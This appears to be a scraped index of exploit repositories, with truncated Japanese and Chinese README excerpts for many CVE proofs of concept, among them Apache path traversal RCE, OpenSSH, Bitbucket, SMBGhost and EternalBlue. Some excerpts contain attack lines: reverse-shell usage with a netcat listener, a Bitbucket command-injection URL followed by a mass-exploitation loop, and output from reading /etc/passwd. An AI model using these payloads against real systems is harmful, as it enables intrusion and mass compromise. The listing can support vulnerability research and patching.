ez-iRZ

ez-iRZ CVE-2022-27226 のエクスプロイト iRZ モバイルルーターにおけるクロスサイトリクエストフォージェリからリモートコード実行への攻撃 クレジット John Jackson Chris Mack --- https://github.com/0xHalcyon Stephen Chavez --- https://github.com/redragonx/ Robert Willis 説明 iRZ モバイルルーターにおける CSRF の問題により、2022年3月16日までのバージョンで、脅威アクターがルーター管理パネルに crontab...

CVE-2021-42013_Reverse-Shell

CVE-2021-42013Reverse-Shell PoC CVE-2021-42013 リバースシェル Apache 2.4.50 CGI 対応 使用方法： chmod -x CVE-2021-42013.sh ./CVE-2021-42013reverseshell.sh http://ip:port/ LHOST LPORT 詳細情報： chmod -x CVE-2021-42013.sh ./CVE-2021-42013reverseshell.sh http://ip:8083 10.0.000.000 9999 nc -lvnp 9999 参考文献...

react2shell

React2Shell - CVE-2025-55182 エクスプロイト PoC CVE-2025-55182 に対する概念実証エクスプロイトです。これは、React Server Components を使用する Next.js アプリケーションにおける重大なリモートコード実行の脆弱性です。 ⚠️ 免責事項 このツールは教育目的および許可されたセキュリティテスト専用です。 ❌ 自分が所有していない、または明示的なテスト許可がないシステムに対して使用しないでください。 ❌ コンピュータシステムへの不正アクセスは違法です。 ✅...

CVE-2024-31982

CVE-2024-31982 PoC およびバルクスキャナー 概要 CVE-2024-31982 の PoC: XWiki Platform のリモートコード実行 14.10.20。この PoC は、こちらの セキュリティアドバイザリ に基づいています。 使用方法 単一ターゲットスキャン 単一のターゲットエンドポイントをスキャンするには： python CVE-2024-31982.py -u target バルクターゲットスキャン 複数のターゲットを一括スキャンするには： python cve-2024-31982.py -f targets.txt インストール 最低要件 Pytho...

CVE-2015-5377

CVE-2015-5377 Elasticsearch 1.5.2 存在通过不安全的 Java 反序列化导致的远程代码执行（RCE）漏洞。 该漏洞利用攻击 9300 端口上的传输协议。该反序列化基于 Groovy MethodClosure 链来实现 RCE。...

Notepad-8.9.6-PoC

Notepad++ PoCs CVE-2026-48770 / CVE-2026-48778 / CVE-2026-48800 Notepad++ = 8.9.6 における 3 つの脆弱性の概念実証スクリプト。v8.9.6.1（2026-05-26）で修正済み。 脆弱性 CVE| タイプ| CVSS| 影響 ---|---|---|--- CVE-2026-48770| WMCOPYDATA 経由の範囲外読み取り| 5.0| DoS / クラッシュ CVE-2026-48778| config.xml 経由の OS コマンドインジェクション| 7.8| リモートコード実行...

CVE-2022-36804-POC

CVE-2022-36804-POC 🕷️ Bitbucket CVE-2022-36804 認証なしリモートコマンド実行 悪用方法 公開可視リポジトリを見つける - example.com/repos?visibility=public /rest/api/latest/projects/project-path/archive?filename=kiE0h&at=kiE0h&path=kiE0h&prefix=ax%00--exec=%60id%60%00--remote=origin 大量悪用 for url in $cat hosts.txt | httpx...

CVE-2021-41773_CVE-2021-42013

Apache HTTP Server 2.4.49, 2.4.50 - パストラバーサル＆RCE Exploit Author: Lucas Souza https://ls4ss.github.io/ Vendor Homepage: https://apache.org/ Version: 2.4.49, 2.4.50 Tested on: 2.4.49, 2.4.50 CVE : CVE-2021-41773, CVE-2021-42013 Credits: Ash Daulton and the cPanel Security Team 使用方法 ./PoC.sh...

goahead-webserver-pre-5.1.5-RCE-PoC-CVE-2021-42342-

Goahead ウェブサーバー v5.1.5以前 RCE PoC CVE-2021-42342 Goahead Webserverの最近のバグがWilliam Bowlingによって発見され、それが悪用されたサーバー上でRCEを引き起こします。 この問題はバージョン5.1.5以前に存在し、Shodanによるとインターネット上の約280万台のサーバーが影響を受けます。 現在CVEが利用可能です https://nvd.nist.gov/vuln/detail/CVE-2021-42342...

CVE-2024-6387

CVE-2024-6387.py - PoC 重要な注意事項！！！ このエクスプロイトは32ビットのOpenSSHサーバーでのみ動作します 。これは、PoCが32ビットポインターを使用するためです。 また、一部のバージョンは既にパッチが適用されており、すべてのサーバーが脆弱であるとは限らないことが知られています。 テスト済み: Kali Linux, ParrotSec, Ubuntu 22.04 📜 説明 OpenSSHサーバーにおけるリモート認証不要のコード実行脆弱性...

docker-CVE-2019-11043

用于检测 CVE-2019-11043 的 Docker 镜像和命令 CVE: CVE-2019-11043 描述: 在 PHP 7.1.x 低于 7.1.33、7.2.x 低于 7.2.24 以及 7.3.x 低于 7.3.11 的版本中，某些 FPM 配置下，FPM 模块可能会越过已分配的缓冲区，向为 FCGI 协议数据预留的空间写入数据，从而可能导致远程代码执行。 详情 : https://nvd.nist.gov/vuln/detail/CVE-2019-11043 Github 漏洞利用: https://github.com/neex/phuip-fpizdam 帮助...

SMB-Protocol-Vulnerability_CVE-2017-0144

LAB: SMBプロトコルの脆弱性を利用したWindows OS攻撃 1. 説明 2. 概要 3. 準備 4. 攻撃の実行 5. 防御方法 1. 説明 このラボでは、2台のコンピュータを使用して、Windows OSのSMBプロトコルの脆弱性を利用した攻撃をシミュレーションします。1台はKali Linux OSを実行し、攻撃者（ハッカー）の役割を担います。もう1台は被害者（victim）の役割を担うコンピュータです。被害者マシンはSMB脆弱性を含むWindows 7 64ビットOSを実行しています。これを行うために、Kali Linuxマシン上で EternalBlue...

CVE-2020-8515

CVE-2020-8515 Draytek CVE-2020-8515 PoC 我早就写好的。 有趣的是，注入的命令会被执行两次，看这里： $ ./draytek.py draytek.local executing command: cat /etc/passwd + vulnerable! executing command: uname -a Linux Vigor3900 2.6.33.5 1 Wed Mar 28 00:49:28 CST 2018 armv6l unknown Linux Vigor3900 2.6.33.5 1 Wed Mar 28 00:49:28 CST...

WhatsAppHACK-RCE

WhatsAppHACK-RCE...

CVE-2022-24112

CVE-2022-24112 Apache APISIX batch-requests RCECVE-2022-24112 将目标放入url.txt python3 ApacheAPISIXRCECVE-2022-24112.py Cmd:...

vbox_cve_2017_10235

CVE-2017-10235: VirtualBox E1000 设备缓冲区溢出 简介 以下文档详细描述了 VirtualBox v5.1.22 中发现的一个漏洞（已在 v5.1.24 中修复），该漏洞位于客户设备仿真组件 DevE1000（ Intel 82540EM 以太网控制器仿真 ）的函数 e1kFallbackAddToFrame 中，当客户操作系统被攻击者控制时，该漏洞会导致宿主机上的缓冲区溢出。 Oracle 已在 2017年7月的CPU 中确认了该漏洞，并发布了 CVE-2017-10235。 该漏洞已在运行 Linux（Ubuntu 16.04）和...

CVE-2020-0796

CVE-2020-0796: SMBGhost - 分析と倫理的悪用 はじめに CVE-2020-0796（別名「SMBGhost」）は、Microsoft Windows オペレーティングシステムに影響を与える深刻なセキュリティ脆弱性です。これは「ワーム可能」なカテゴリに分類され、ネットワーク接続されたシステム間で急速に拡散する可能性があります。この脆弱性は、ファイル共有やプリンタ共有を処理する Microsoft の Server Message Block SMB...

CVE-2023-41425

CVE-2023-41425 説明 Wonder CMS バージョン3.2.0から3.4.2におけるクロスサイトスクリプティングの脆弱性により、リモート攻撃者がinstallModuleコンポーネントにアップロードされた細工されたスクリプトを介して任意のコードを実行できる可能性があります。 これはprodigiousMindによるオリジナルのエクスプロイトの修正版であり、外部インターネット接続に依存せずにエクスプロイト全体をローカルで提供できるように拡張されています。 もしあなたが途方に暮れていて、自転車に問題を見つけた場合に便利です... 注:...

CVE-2022-42889-Text4Shell-POC

CVE-2022-42889 Text4Shell テストスクリプト このリポジトリには、CVE ID: CVE-2022-42889 で参照される Text4Shell として知られる脆弱性のテストを自動化する Python スクリプトが含まれています。 Text4Shell CVE-2022-42889 について Text4Shell は、幅広いシステムに影響を与える深刻な脆弱性です。この脆弱性は、システムがテキスト文字列を解析する方法に存在し、任意のコードの実行や SSRF 攻撃を可能にします。この脆弱性は、細工された文字列によって悪用され、JavaScript...

CVE-2021-4045

CVE-2021-4045 CVE-2021-4045 是一个命令注入漏洞，允许对 TP-Link Tapo c200 IP 摄像头进行远程代码执行。由于对 uhttpd（设备的主要二进制文件之一）中的用户输入检查不足，该漏洞影响所有早于 1.1.16 Build 211209 Rel. 37726N 的固件版本。完整分析文章可在此处找到。 漏洞利用 pwnTapo.py 这是为在 CryptoParty Madrid 2022 上演示该漏洞而制作的 PoC 的扩展版本。它有两种模式： shell ：在目标上生成一个 root shell rtsp ：通过 RTSP 提供实时视频流的访问...